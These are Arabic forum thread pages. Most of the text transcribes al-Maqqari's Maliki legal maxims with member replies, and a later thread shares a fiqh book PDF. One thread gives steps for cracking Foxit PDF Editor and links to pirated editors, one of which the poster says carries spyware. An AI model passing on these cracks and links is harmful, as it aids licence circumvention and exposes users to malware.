360. كل قراض فسد بأن شرط فيه رب المال ما قصر به العامل عن نظره أو شرط أحدهما زيادة خالصة لنفسه فهو مردود إلى أجرة المثل وإلا فإلى قراض المثل، وقيل: كل قراض فسد لزيادة لا تحل أو لتحظير لا ينبغي فالأجرة، وإلا فالقراض إلا إذا اشترط الضمان على العامل أو اشترط العامل أن يمسك المال مدة معلومة فالقراض، وقيل: كل زيادة أو منفعة شرطها أحدهما وليست خارجة عن المال ولا خالصة لمشترطها فإنها ترد إلى قراض المثل، وما شرط أحدهما لنفسه خارجًا عن المال خالصًا له فإلى أجرة المثل. وكل خطر دخلا عليه خرج به عن سنة القراض فأجرة المثل.
361. كل ما فيه قراض المثل فتعلقه بربح المال وإلا سقط، وأجرة المثل بذمة ربه وكذلك المساقاة.
362. كل ما سوى الكرم والأصول فلا يساقى إلا إذا ظهر وعجز عنه ربه أو كان بياضًا ثلثًا فأدنى بقيمة الجميع بعد إلغاء مؤونته.
363. كل ما يخلف أو حلَّ بيعه فلا تجوز مساقاته.
364. كل ما كان في الحائط يوم المساقاة مما ينتفع به فيها فلا يخرج، كما لا يشترط العامل ما لم يكن، وعلى كل واحد خلف ما عليه.
365. كل ما لا يتعلق بالثمرة لا يشترط على العامل.
366. كل ما ينقطع بانقطاع الثمرة من مصالحها أو يبقى يسيرًا بعدها أو لا يكون له بال فهو على العامل، بخلاف العكس.
367. كل مساقاة خرجت إلى حكم الإجارة أو بيع الثمرة قبل بدو صلاحها ففيها إجارة المثل، وإلا فمساقاة المثل.
368. كلما كان جزء من البذر في مقابلة جزء من الأرض ولها قيمة امتنعت المزارعة وإلا فلا، فإن تساويا في كل شيء جازت وإلا فقولان.
(يُتْبَع .. اقلب الصفحة)
(61/425)
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 01:03 م]ـ
الحجر والتوثيق والتفويض
369. كل ما سوى المال ولوازمه فلا حجر فيه على الحر المكلف لإلا أن يخاف الأب سفهًا فله ضم الحديث العهد بالبلوغ إليه، حتى يتبين أمره.
370. كل ما لا يوجب طروه الحجر فلا يوجب بقاؤه استدامته.
371. كل ما لو قارن البلوغ أوجب بقاء الحجر فطروه يوجب ابتداءه.
372. كل من يترقب موته بسبب ظاهر قوي فتبرعه يختص بالثلث، وبالعكس إلا ذات زوج.
373. كل ما يذكر فيه الثلث فهو فيه يسير إلا الجوائح وحمل العاقلة ومعاقلة المرأة الرجل.
374. كل من حجر عليه لحقِّ نفسه فلا يلزمه بعد الإطلاق ما استدان أو عقد في الحجر، وبالعكس، إلا ما أسقطه السيد أو رده.
375. كل ما أخذه المأذون على الطوع من معطيه فاستهلكه فذلك في ذمته لا رقبته، ولا يفسخه السيد عنه.
376. كل من أحاط الدين بماله ولم يضرب على يديه فلا ينفذ تصرفه على غير المعاوضة المحضة إلا فيما يلزمه أو جرت العادة به أو عرف من مثله، فإن ضرب على يديه لم ينفذ حكمه فيما حجر عليه فيه، إلا أن يعين ما على أصله بينة.
377. كل ما بيد المفلس منتزع إلا كسوة مثله المعتادة وقوامه وقوام من تلزمه نفقته نحو الشهر ومعجل الصداق قبل الدخول والطول، بخلاف ما ليس بيده إلا أنه يؤخذ بمؤاجرة مدبره إذ لا يباع المدبر في الدين اللاحق بخلاف السابق.
378. كل ما يتعلق بمصلحة جميع المال كأجرة الحمال والكيال فهو مقدم على الديون.
379. كل ما يتعلق به حق الغير مما يستفيده المفلس فلا حق للمفلسين فيه معهم.
380. كل من يُتَّهمُ المريض في الإقرار له فلا ينفذ إقراره، بخلاف الصحيح.
381. كل ما يرجع ميراثًا من فعل المريض فلا تدخل فيه الوصية إلا المدبر في الصحة.
382. كل ما لا يمكن استيفاؤه من الرهن أو لم يثبت دينًا في الذمة لازمًا أو صائرًا إلى اللزوم، فلا يجوز الرهن به، وبالعكس
383. كل ما يمكن أن يستوفى منه أو من ثمنه أو منافعه الدين أو بعضه جاوز رهنم منه، وإلا فلا.
384. كل ما لا يُعرفُ بعينه فلا يؤاجر، قيل: إلا إذا لم يغب عنه ربه، وهو تفسير، ويرتهن إلا مطبوعًا عليه وعاريته مع الغيبة عليه قرض.
385. كل ما لا يتعلق بالمال أو لا يثبت دينًا في الذمة فلا تصح الكفالة به.
386. كل ما سوى الغرور فلا رجوع به في الحوالة.
387. كل ما لا تحصل مصلحته إلا بالمباشرة فلا تجوز فيه الاستنابة، وبالعكس.
388. كل من جاز أن يتصرف لنفسه في أمر فجائز أن يتصرف غيره ولا يوكل عن غيره إلا من جعل له ذلك بتفويض أو نص.
389. كل من وكل على الإقرار بأمر فهو مقر به بالتوكيل.
390. كل وكالة تعلق بها حق الغير فليس للموكل عزل الوكيل فيها، وكذلك في اقتضاء طعام السلَم وقضاء الدين.
391. كل متماثلين فالشركة بهما جائزة، وقيل: إلا الطعامين.
392. كل مختلفين غير عينين ولا طعامين فالشركة بهما جائزة، ورأس مال صاحب العرض ما قوم به وفي جواز غيبة أحد المالين خلاف.
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 01:52 م]ـ
التعدي والاستحقاق
393. كل إفساد يسير ففيه ما نقص بعد الرفو أو التشعيب.
394. كل إفساد كثير ففيه ما شاء من القيمة والنقص.
395. كل ما لَكَ أن تفعله لم تضمن ما عطب به، وبالعكس.
396. كل ما لا إجارة فيه كمناولة القدح والنعل فلا ضمان على من استعمل فيه صبياً أو عبدًا فأصيب منه، وبالعكس.
397. كل ما أصابت الدابة بمقدمها خاصة فعلى محركها، ويضمن المتعدي بها مطلقاً، ويهدر فعلها.
398. كل ما أفسدته البهائم بالنهار فمن أربابها ما لم يكن تعد، وبالليل على أربابها على الرجاء والخوف.
399. كل آدمي فإتلافه سبب للضمان إلا أهل التأويل من البغاة والحكام.
400. كل ما استغل الغاصب أدَّاه وكراء المثل فيما حابى به أو استعمل بخلاف ما عطّل.
401. كل ما سوى الغاصب فلا يرد الغلة.
402. كل واحد من اللصوص ونحوهم ضامن لما أتلفه جميعهم
403. كل ما يحصل الهلاك معه فإما أن يحصل به وهو العلة أو لا به وهو السبب، والعلة مقدمة إلا أن يقوى السبب فيقدم أو يستويان فيعتبران.
404. كل ما لا يكال ولا يوزن فهو مضمون بالقيمة إلا الصياغة والبناء على رأي والقبر إن دفن فيه فبالمثل كالمثليات، وقد تقدم الرفض.
405. كل من أخطأ فيما أذن له فيه لم يضمن إلا أن يغر أو يتعدى.
(يُتْبَع .. اقلب الصفحة)
(61/426)
406. كل من دفع بوجه صحيح إلى غير من ائتمنه فلا يصدق في الدفع ولا يبرئه إقرار القابض إلا أن يشترط أن لا إشهاد عليه أو يكون القابض ممن لا يشهد على مثله أو ممن يجوز إقراره بذلك على الطالب.
407. كل من عليه الحق بالإشهاد فله أن لا يسلم إلا بالإشهاد، وإن اعترف.
408. كل من له التصرف في مال غيره عمومًا فإن الدافع له يبرأ بتصديقه بخلاف الخصوص، إلا أن ينص على ذلك.
409. كل من يصدق في الرد إذا طولب فلا عذر له بتعذر الإشهاد.
410. كل من أقرّ بشيء في أمانته لم يعد إلى ذمته ولا ينتقض بقول مالك في تقديم مدعي القرض على مدعي القراض، لأن ابن القاسم وأصبغ خالفاه.
411. كل ما استحق فاستحقاقه لا يتم إلا باليمين، إلا العقار على خلاف فيه.
412. كل ما أجيز بيعه مع غيره وجعل فيه حكم البيع للغير فلا حصة له في الثمن ولا رجوع في استحقاقه عند سحنون، خلافًا لابن القاسم في الوجهين.
413. كل من باع سلعة بسلعة فإذا استحقت إحداهما رجع بما دفع ... استحق من يده، بخلاف النكاح والخلع والصلح على إنكار أو ... العهد (الفراغ لمحو في الصورة المنقول عنها)
414. كل جزء استحق فإنه إن كان مشاعًا خير المبتاع، وإن كان معينا فكالعيب، إلا أنه لا يجوز أخذ باقيه بحصته إذا استحق ... (الفراغ لمحو في الصورة المنقول عنها)
415. كل حق لمخلوق فلا رجوع في الإقرار به، وفي حق الخالق ... إن لم يرجع إلى شبهة قولان. (الفراغ لمحو في الصورة المنقول عنها)
416. كل من علم أصل مدخله لم ينتفع بحيازته، قال صاحب البيان: الجهل بالمدخل أصل الحكم بالحيازة.
417. كل من له الرجوع في شيء في القيام فله الرجوع بقيمته في الفوات إلا المخطئ في عين المبيع أو فيما قام به عليه أو في الإثابة من الهبة أو في رد طعام الغنيمة.
418. كل من دخل على القلع فإنما له إذا وجب ذلك لمن هو له قيمة ماله قيمة ما له قيمة من العمارة مقلوعة بعد حط أجرة القلع.
419. كل من دخل على البقاء فله قيمة العمارة فإن أبى المستحق دفع العامر قيمة البقعة براحًا فإن أبيا كانا شريكين بقيمة ما لكل واحد.
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 02:21 م]ـ
العطايا والمرافق
420. كل عطية محضة فلا تتم إلا بالقبض بالبينة حالة لا حجر إلا الوصية، وبالعكس إلا الرهن. ويكفي إشهاد الناظر لمحجوره حالة لا حجر، إذا لم يستعمل ذلك سنة متصلة.
421. كل ما حازه المعطى سنة متصلة فلا يبطل برجوعه إلى يد المعطي مطلقا بخلاف الرهن.
422. كل عطية للقربة بقول أو قرينة فلا رجوع فيها إلا الوصية، بخلاف التدبير، ولا ثواب.
423. كل من وهب للمحبة كذلك فلا رجوع له، إلا الأبوين دنية في غير يتيم ما لم يمرض أحدهما أو يدخل الموهوب له بسببها في عهدة.
424. كل ما يصح بيعه فجائز أن يوهب للثواب على خلاف في العين، وبالعكس.
425. كل حبس رجع ميراثًا فهو على الأقرب بالمحبس يوم موته.
426. كل حبس رجع حبسًا فهو على الأقرب بالمحبس يوم المرجع.
427. كل حبس لقوم فهو لمن وُجد منهم يوم القسمة أو ولد بعد خاصة، يقتسمون غلته وينتفعون به على قدر حاجتهم، ويفضل الأحوج فالأحوج، فإن لم يكن الفقير سقط الغني.
428. كل أنثى لو كانت ذكرًا كانت عصبة فإنها تستحق مرجع الحبس، وبالعكس.
429. كل ذكر أو أنثى يحول بينه وبين المحبس أنثى فليس بولد له ولا عقب.
430. كل ما سوى العقار إذا ذهبت منفعتُه التي وقف لها فإنه يباع في مثله أو يعان به فيه، عند ابن القاسم.
431. كل وعد لم يدخل الموعود في عهدة ولا علق بما يدخل في التصرف في المال فإنه لا يُقضى به، وإلا قضى.
432. كل مالك للمنفعة غير محجور عليه فعاريته صحيحة إذا عرف المعار بعينه ولم يكن تلذذًا بأنثى.
433. كل ما لا ملك لأحد عليه مما تمس الحاجة في العمارة إليه فهو حريمها.
434. كل مال معصوم معرض للضياع فهو لقطة إن أخذ وإلا فلا يلتقط.
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 04:13 م]ـ
النكاح
199. كل عقد فالمعتبر في انعقاده ما يدل على معناه، لا صيغة مخصوصة، ويحلف في المحتمل حيث ينفع النكول.
200. كل ما ينافي مقتضى العقد من الشروط فهو مفسد، إلا البيع بشرط العتق للسنَّةِ، وكل ما يقتضيه فهو لغو.
201. كل أنثى لا تعقد نكاحَ أنثى بخلاف الذكر.
(يُتْبَع .. اقلب الصفحة)
(61/427)
202. كل ما يُقصد من العقود للاستباحة لا للحظر، فإنه يصح من الصبي، لكونه أهلا للخطاب بما دونه، ولا يلزمه شيء.
203. كل صريح في بابٍ فلا ينصرف بالنية إلى غيره إبقاءً للصراحة، بخلاف الحال، فإنه كالمقال.
204. كل ما سوى النكاح والطلاق والعتق من العقود، فهزله هزل وهزلها جد، على المشهور.
205. كل ما لم يتمحض للمعاوضة فالغرر فيه جائز على قدر ما فيه من معنى العطية، وإلا لم يجز، وقالوا: أرسل من يدك بالغرر، ولا تأخذ به.
206. كل امرأتين بينهما من القرابة أو الرضاع ما يمنع تناكحهما لو كانت إحداهما ذكرًا، فلا يجمع بينهما.
207. كل ما تركب لفظ النسبة المشهورة بين قريبين أو رضيعين صح تناكحهما، وبالعكس.
208. كل من أرضعت شخصًا أو من أرضعته أو من يرجع نسبه إليه فهي أمه.
209. كل معتدة وطئت بنكاح أو شبهه فقد حرمت على واطئها للأبد، وقيل بالعقد فيها والوطء مطلقاً.
210. كل مستبرأة وطأت بحلال أو شبهة كذلك، إلا من وطء ملك بملك وفي النكاح خلاف.
211. كل نكاح فسد لبصداقه فإن الدخول يمضيه بالمثل أو الإكمال بخلاف الإسقاط.
212. كل نكاح اختلف فيه فإنه يحرم عقده ووطؤه بخلاف في عقد ما حرمه النص.
213. كل نكاح أجمع على فساده فالمعتبر وطؤه لا عقده، بخلافٍ فيما لا يدرأ الحد.
214. كل نكاح لأحدٍ إمضاؤه وفسخه ففسخه بطلاق. وفيه الصداق والعدة والميراث ـ إن لم يفسخ ـ للورثة، وفيه ما ذكر، فإن أجمع عليه فبالعكس.
215. كل نكاح مجمع على فساده أو محرم بالنص أو لحق الورثة، فإنه يفسخ أبدًا، وفيما فسد لعقده من غير خلافٍ، والصداق تقدم.
216. كل ما فسخ قبل البناء فلا صداق فيه، وكذلك اختياره ردها لعيبها، وفي اختيارها هي قولان، وقوله في الملاعنة: لها نصفه ضعيف متأول، والصحيح ما في الجلاب: وأما بعد البناء فالمسَمّى.
217. كل من يُؤثر في مقصود النكاح وجوبًا أو طبعًا من العيوب أو خالف الشرط، فإنه يرد به، وبالعكس.
218. كل ما اعتيد كتبُه في الوثائق من التلفيقات التي لا يكشف الشهود عن حقائقها غالبًا، فثبوتها كسقوطها.
219. كل خلاف لا ينكشف إلا برؤية العورة فالمشهور تَدْيِينُ المنكر فيه، وإلا كشف عنه.
220. كل من يحصِّنُ يُحَصَّنُ إلا الأمة الزوجة للحر والصغيرة التي مثلها يُوطأ والكتابية والمجنونة.
221. كل ما يحل يُحصِن إلا وطء الصغيرة المطيقة والكتابية والأمة فيهن.
222. كل عقدين تنافيا في حكم فلا يجوز الجمع بينهما إلا البيع والصرف في دينار مطلقًا أو في أكثر، إن كان المبيع أقل من دينار.
223. كل بكر تستأذن فإذنها صُماتها إلا المرشدة والمُعنَّسة والمصدقة عرضًا والمعلمة بعد العقد بالقرب والمزوجة ممن فيه بقية رق أو عيب والصغيرة المنكحة للخوف عليها بعد العشر ومطالعة الحاكم والمشتكية بالعضل.
224. كل ما الغالب كونه للنساء خاصة من متاع البيت فالقول فيه قول المرأة، أو من ادعى بسببها، وإلا فقول الرجل ويحلف المدعي.
225. كل حكم ترتب على عادة فإنه يبطل بزوالها إجماعًا وإن اختلف في اشتراط عكس العلل.
226. كل نفقة فالقياس فيها الطعام لا ثمنه، تخلصًا من بيع الطعام قبل قبضه إلا أن العمل على خلافه.
227. كل من غاب عن زوجته غيبة بعيدة فلها النفقة عليه، بخلاف المفقود قبل الوجوب على المعروف، وفي القريب قبله خلاف.
228. كل وطء بغير الملك وشبهته فالولد فيه تابع لأمه في الحرية والرق وإلا فلأبيه، كالدَّين مطلقًا.
229. كل موضع يسقط فيه الحد لشبهة النكاح أو الملك فإن النسب يلحق فيه، ولا يجتمع الحد والنسب إلا في ثمان مسائل أثبتها في كتاب النظائر.
230. كل حق ثبت سببه فإسقاط من هو له نافذ، وإن فقد شرطه، ولا رجوع إلا في هبة الوطء للزوج، بخلاف يومها لضرتها إن قبله الزوج، وهبتها له كالعدم في التخصيص.
231. كل مختارة للطلاق أو مفارقة بفسخ أو لعيبها أو غير ممسوسة، وقد فرض لها فلا متعة لها، وبالعكس.
232. كل لفظ نوى به الطلاق مما ليس له فهو ما نوى به منه أو مطلقه، وفي وقوعه بالكلام النفسي خلاف، بخلاف النية.
233. كل طلاق بالحكم فهو بائن، إلا طلاق المُولي والمعسر بالنفقة، وتصح رجعتهما، ولا تنهدم العدة بعدها إلا بانحلال اليمين أو زوال المانع أو بالنفقة التي لا تطلق بوجود مثلها.
234. كل معتدة فلها السكنى إن تقدمت.
(يُتْبَع .. اقلب الصفحة)
(61/428)
235. كل كناية ظاهرة في الطلاق فهي ثلاث إلا أن ينوي الواحدة في غير المدخول بها في غير البتة مطلقًا، وغير: حبلك على غاربك على المدونة لا المشهور.
236. كل متوفى عنها في نكاح يُقَرَّان عليه يوم الموت فعليها العدة، ولها الصداق والميراث، وإلا فلا.
237. كل معتدة من الوفاة فعليها الإحداد بخلاف المستبرأة.
238. كل حامل يثبت بوضعها حكمٌ فلا تصدق فيه إلا ببينة.
239. كل ما بقي من كسوةِ المعتدة أو المطلقة أو جهاز العامل ونحوه مما له بالٌ فمردود على الزوج أو ثمنه في المال، وإلا فهو لهم.
240. كل ما يزعم النساء أنه منتقل إلى الولد فله في القضاء أحكام الولد.
241. كل من لا يحل وطؤها بالنكاح بوجه فلا يحل بالملك، إلا الأمة الكتابية وأمة الواطئ أو ولدها.
242. كل من زوجها جد المحضون أو من أولياء المحضون لم يسقط به حقُّها في الحضانة.
243. كل ما وجب بحقوق مشتركة فهل يكون استحقاقه أو الاستحقاق عليه بقدر تلك الحقوق أو على عدد الرؤوس؟ قولان.
244. كل تمييز قصد به إزالة الميل لا إعطاء الحق فوجهه القرعة، ولا تجوز في غيره.
245. كل من يجوز له وطؤها أو يلحقها طلاقه فالظهار يلزم فيها وبالعكس.
246. كل يمين منعت من وطء الزوجة أكثر من أربعة أشهر للحر، ومن شهرين للعبد لما يلزم فيها من الحكم شرعًا، ولم يعلم أنه فيها غير مضار فهو بها مول وبالعكس. وزاد بعضهم: بمدة مؤثرة، وشرط آخرون كون الحكم مما قد يشق.
247. كل يمين لا يحنث فيها بالوطء فليست بإيلاء، وإن انعقد به سبب للحكم.
248. كل مول فأجله من الحلف، ولا يفتقر إلى حكم، أما من دخل عليه الإيلاء فمن يوم الرفع بالحكم، ولا يضرب لمن امتنع من غير سبب إلا ما يستبرأ أمره إليه. وروي: يضرب له أجل الإيلاء.
249. كل ما يستدعي جوابًا فإنما يلزم من جوابه ما كان في المجلس حكمًا، إلا أن يوسع عليه المستجيب أو يستقل الجواب وحده بنفسه، فإن افترقا حسًا أو معنى فلا عبرة به، إلا أن يكون بكتاب أو رسول فإلى ما يُرى أنه أسقط، وقيل: مطلقًا.
250. كل ما لا يبين المرأة فلا يلزم في جواب التخيير المطلق، بخلاف التمليك فإنه يلزم فيه الواحدة، وله مناكرتُها في الزائد.
251. كل نكاح يلحق فيه الولد فإن اللعن يصح فيه، وبالعكس.
252. كل زوجين ـ ما كانا ـ حتى الكافرين إن تراضيا، فإن اللعان بيهما وترجم.
253. كل أجل آت قطعًا أو غالبًا فالطلاق إليه والعتق، وتعليقهما بما لا يكون كذلك أو بغيب، أو قال: إن لم أفعل محرمًا ناجز، إلا أن يفعل، أو يكون الأجل مما لا يشبه أن يعيش إليه، والظاهر أنه لا ينتفع بوقوع ما أخبر الشرع أنه غيب بخلاف ما يمكن ألا يكون منه.
254. كل من ألزم نفسَه أو غيره أمرًا فإن لم يجعل بيده شيئاً لم يلزمه ما ... أو ألزم منه، وإن جعل بيده شيئًا لزماه، وإن لم يجعل، ... علَّق على سبب، فقولان (الفراغ لمحو في الصورة المنقول عنها)
255. كل ما دون الثلاث للحر أو الطلقتين للعبد فلا يمنع ... الأيمان والشروط ونحوهما، ولا ينتفع بإسقاطهما في النكاح الثاني، ... عنده على بقيتها بخلاف الثلاث، إلا في المحلوف عليها فإنه ترد عليه اليمين فيها ما لم يحنث لصحة الإيلاء من الأجنبية. (الفراغ لمحو في الصورة المنقول عنها)
256. كل امرأة وصل لبنها غير مغلوب إلى جوف صغير لم يتم استغناؤه عن اللبن، فهي أمه وفحلها أبوه، ثم تنتشر الحرمة من هذه الأصول الثلاثة إلى الأطراف على مقتض الحدي المتقدم.
257. كل أم لها النفقة فعليها الإرضاع بلا أجر وبالعكس، فإن أصابها عذر يمنعها فعلى الأب.
(تم كتاب النكاح)
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 04:18 م]ـ
أين الكتاب ...
السلام عليكم
اليوم إن شاء الله
ـ[خلدون الجزائري]ــــــــ[06 - 10 - 08, 03:08 م]ـ
تحميل الكليات الفقهية للإمام المقري ت 759 هـ ( word)
تنبيه:
هناك سقطٌ لكلمةٍ أو اثنين من الكليات التالية: 254 ـ 255 ـ 413 ـ 414 ـ 415 لمحوٍ في النسخة المصورة المنقول عنها؛ فمن لديه نسخة من الكتاب فلْيتكرمْ بإسعاف القارئين والمنتفعين بهذه الكليات.
التحميل:
من هنا ( http://ia310828.us.archive.org/2/items/kuliyat-maqari/kuliyat-maqari.doc) مباشر، وصفحته هنا ( http://www.archive.org/details/kuliyat-maqari)، أو من المرفقات.
ـ[عبدالله الميمان]ــــــــ[06 - 10 - 08, 06:38 م]ـ
جزاك الله خيرا وبارك فيك
ـ[فوزان مطلق النجدي]ــــــــ[07 - 10 - 08, 12:49 ص]ـ
جزاك الله خيرا
هل هذه الضوابط خاصة بالمذهب المالكي خاصة؟
ـ[منير الجزائري]ــــــــ[07 - 10 - 08, 08:18 م]ـ
جزاك الله خيرا
ـ[إسماعيل سعد]ــــــــ[22 - 10 - 08, 05:41 م]ـ
جزاكم الله خير الجزاء
ـ[أبو هيثم المكي]ــــــــ[16 - 11 - 08, 07:09 ص]ـ
الله يجزاك بالخير أخي خلدون
بارك الله فيك
ـ[أبو عبد الله بن سعيد]ــــــــ[16 - 11 - 08, 01:46 م]ـ
جزاك الله خيرا
(يُتْبَع .. اقلب الصفحة)
(61/429)
ـ[خلدون الجزائري]ــــــــ[27 - 11 - 08, 03:32 م]ـ
جزاك الله خيرا
هل هذه الضوابط خاصة بالمذهب المالكي خاصة؟
هي خاصة بالمذهب المالكي، لكن لا ينفي اشتراك المذاهب الأربعة في أغلب هاته القواعد والكليات الفقهية، والقليل منها ينفرد به كل مذهب، وكلما وقع الارتفاع عن الجزئيات صعودًا إلى الكليات، حصلت الموافقات بين المذاهب الفقهية الأربعة المشهورة. والكليات الفقهية التي جمعها المقري وغيره هي جزئيات بالنسبة إلى ما فوقها من كليات.
ـ[محمد نائل]ــــــــ[04 - 12 - 08, 01:13 ص]ـ
بارك الله فيك
ـ[أبو ذر الفاضلي]ــــــــ[04 - 12 - 08, 12:41 م]ـ
بارك الله فيك
ـ[عزمي أبو عبد الظاهر]ــــــــ[05 - 12 - 08, 11:38 ص]ـ
جزاكم الله خيرا
ـ[خلدون الجزائري]ــــــــ[09 - 08 - 09, 03:05 ص]ـ
لقد رفع الأخ "محمد عبد الإله" في موقع الألوكة مشكورًا نسخة مصوَّرة PDF عن كتاب الكليات الفقهية بتحقيق د. أبو الأجفان ـ رحمه الله ـ انظر هنا ( http://majles.alukah.net/showthread.php?t=38835)
وهو ما سهَّل علي استدراك بعض الكلمات التي سقطت من النسخة التي أملكها، في المرفقات نسخة الوورد Word لكليات المقري الفقهية بعد إصلاحها بتدارك الكلمات الساقطة منها.
ـ[أبو عبد الرحمان القسنطيني الجزائري]ــــــــ[17 - 11 - 09, 09:05 ص]ـ
جزاكم الله خيرا
ـ[محمد نائل]ــــــــ[20 - 11 - 09, 08:51 م]ـ
الكليات الفقهية للإمام المقري ت 759 هـ جزء من كتاب له وهو "عمل من طب لمن حب" وهو كتاب وضعه المؤلف ليقوم بدور الطبيب الحاذق في معالجة ابن خاله الصغير الذي تعشق كتاب 'الشهاب' للقضاعي في الأحاديث، وصار يهذي بألفاظه فكان هذا الكتاب الذي موضوعه فقهي أصولي قد اشتمل على 'أحاديث حكمية، وكليات فقهية، وقواعد الأصول، والاصطلاحات والألفاظ وغير ذلك من الأمور الهامة' ويليه' كليات المسائل ورسالة في إيضاح مضمون قاعدة إذا.'سقط الأصل سقط الفرع وجواب الشريف التلمساني.
وكتاب الكليات الفقهية حققه ونشره محمد أبو الأجفان.
ولعدم توفر الأصل على النت ولا الكليات الفقهية المقتبسة منه أيضا، وأهميتها البالغة، أرفعها هنا على شكل وورد ( word)
وأبدأ بعرض أبواب المعاملات المالية ثم النكاح، ثم كامل الكليات الفقهية في المرفقات
حمل أصل الكتاب ّعمل من طب لمن حبّ
الرابط:
http://www.archive.org/download/Abuyaala01/amal_makri.pdf
أطلب الدعاء من الإخوة والأخوات الأكارم وفقكم الله(61/430)
حمل برنامج لكتابة او تغيير ملفات Pdf مثل الوورد!!!!!!!
ـ[ taleb-ilm] ــــــــ[05 - 10 - 08, 12:53 م]ـ
Foxit PDF Editor v2.0.1011 2008
http://i38.tinypic.com/2v2tv89.gif
بسم الله والحمد لله والصلاة والسلام على رسول الله
كيفية الكراك
-ضع pedkey الموجود تحت مجلد crack
في C:\Program Files\Foxit Software\PDF Editor
افتح البرنامج سيخرج انذار اضغط على register the key
ـ[ taleb-ilm] ــــــــ[05 - 10 - 08, 01:17 م]ـ
برامج افضل من الاول
Iceni Infix PDF Editor 3.08
http://i234.photobucket.com/albums/ee62/nafishasan60/5th/IceniInfixPDFEditor3.jpg
Download:
http://rapidshare.com/files/138098222/Iceni_Infix_PDF_Editor_3.08.part1.rar
http://rapidshare.com/files/138099119/Iceni_Infix_PDF_Editor_3.08.part2.rar
http://rapidshare.com/files/138099986/Iceni_Infix_PDF_Editor_3.08.part3.rar
http://rapidshare.com/files/138100661/Iceni_Infix_PDF_Editor_3.08.part4.rar
Mirror:
http://w13.easy-share.com/1701264838.html
http://w13.easy-share.com/1701264840.html
http://w13.easy-share.com/1701264841.html
http://w13.easy-share.com/1701264839.html
Micro Adobe PDF Editor 6.2
http://pixhost.eu/avaxhome/avaxhome/2007-09-19/micro_pdfBeditor.jpg
http://rapidshare.com/files/56750222/micadopdfedi6207.rar
VeryPDF PDF Editor v2.2
http://rapidshare.com/files/140999181/Vry_Pdf_Editor_mahek_cw.rar
ـ[ taleb-ilm] ــــــــ[05 - 10 - 08, 04:42 م]ـ
اعتذر للاخوة
لا تحملوا Micro Adobe PDF Editor 6.2
يبدوا انه بعد تجربته يحمل برنامج تجسس
ـ[أبو أكرم الحلبي]ــــــــ[05 - 10 - 08, 07:26 م]ـ
جزاك الله خيراً
برنامج Foxit PDF Editor مميز في تحرير ملفات pdf
وهذه برامج أخرى خاصة بالـ pdf
إن كان أحدها مهماً ومميزاً في عملاً ما فنتنى إخباراً به حتى نوفر له الدواء
إليكم الموقع
http://www.foxitsoftware.com/downloads/
جزاك الله خيراً
ـ[يحيى صالح]ــــــــ[05 - 10 - 08, 07:39 م]ـ
جزاكم الله خيرًا
هل أي برنامج من هذه - أو غيرها - يمكنه التحويل من بي دي إف إلى وورد باللغة العربية؟
ـ[أبو أكرم الحلبي]ــــــــ[05 - 10 - 08, 07:47 م]ـ
جزاكم الله خيرًا
هل أي برنامج من هذه - أو غيرها - يمكنه التحويل من بي دي إف إلى وورد باللغة العربية؟
أخي الحبيب: هذا البرنامج عبارة عن محرر للأكروبات
مثلاً تعديل خط أو لون أو شكل وما شابه(61/431)
الأدلة الرصينة لمتن الدرر البهية pdf
ـ[أبوعبيدةالسلفى]ــــــــ[05 - 10 - 08, 02:57 م]ـ
الأدلة الرصينة لمتن الدرر البهية
تحقيق وتعليق
محمد صبحى حسن الحلاق
الكتاب مصور
http://www.zshare.net/download/1961809862021c5c/
منقول من منتدى الألوكة
ـ[ابو عبد المحسن]ــــــــ[06 - 10 - 08, 02:24 م]ـ
جزاك الله خيراً
ـ[أبو فهر السلفي]ــــــــ[06 - 10 - 08, 02:32 م]ـ
اسم الكتاب: الأدلة الرضية
ـ[أبوالفداءالخلفى]ــــــــ[06 - 10 - 08, 02:46 م]ـ
الكتاب اسمه الأدلة الرصينة لمتن الدرر البهية فى المسائل الفقهية كما قال الأخ صاحب الموضوع.
ـ[أبو فهر السلفي]ــــــــ[06 - 10 - 08, 02:51 م]ـ
يا سيدنا الكتاب في يدي وأنا أكلمك طبعة دار الفكر بيروت (2006)
فلعل الكتاب نُشر باسم آخر
ـ[أبوالفداءالخلفى]ــــــــ[07 - 10 - 08, 01:08 م]ـ
نعم الطبعة الموجودة على هذا الرابط هى طبعة دار الهجرة بصنعاء واسمها الأدلة الرصينة
ـ[السني]ــــــــ[07 - 10 - 08, 07:00 م]ـ
ولكن أنظروا إلى صفحة العنوان
http://www.ahlalhdeeth.com/vb/attachment.php?attachmentid=60074&stc=1&d=1223389639
ثم انظروا إلى مقدمة المؤلف
http://www.ahlalhdeeth.com/vb/attachment.php?attachmentid=60075&stc=1&d=1223389639
تُرى ما اسم الكتاب؟!!
ـ[مصطفي سعد]ــــــــ[09 - 10 - 08, 10:04 م]ـ
شكرا لك مهما كان اسمه
ـ[أبو عبد الله بن سعيد]ــــــــ[10 - 10 - 08, 02:11 ص]ـ
جزاك الله خيراً
ـ[منير الجزائري]ــــــــ[10 - 10 - 08, 06:20 م]ـ
بارك الله فيكم
ـ[عبد الرحمن أبو عبد الله]ــــــــ[11 - 10 - 08, 04:19 م]ـ
جزاك الله خيراً
ـ[أبوعبيدةالسلفى]ــــــــ[11 - 10 - 08, 05:52 م]ـ
أخوانى الكرام جزاكم الله خيرا ورفع الله قدركم شرفنى مروركم الكريم
ـ[مصطفي سعد]ــــــــ[30 - 10 - 08, 10:41 م]ـ
ملف تالف
ـ[طه محمد عبدالرحمن]ــــــــ[31 - 10 - 08, 12:57 ص]ـ
لعل اسم كتاب الشوكانى (الأدلة الرصينة) و تعليقات و حواشى المحقق حلاق اسمها (الأدلة الرضية)
هكذا فهمت من الصور التى أرفقها الأخ السنى و ربما أكون مخطئا.
ـ[أبو سلمى رشيد]ــــــــ[31 - 10 - 08, 01:27 ص]ـ
السلام عليكم
بارك الله فيكم
لم أستطع التحميل أبدا
في كل مرة يرجع بي الى الصفحة السابقة بدلا من بداية التحميل
؟؟؟؟
ـ[أبوعبيدةالسلفى]ــــــــ[13 - 01 - 09, 11:59 ص]ـ
هذا رابط آخر للكتاب بارك الله فيكم
http://www.4shared.com/file/77919866/48d5d11b/_pdf.html
ـ[أحمد سعيد سالم]ــــــــ[24 - 02 - 09, 09:46 م]ـ
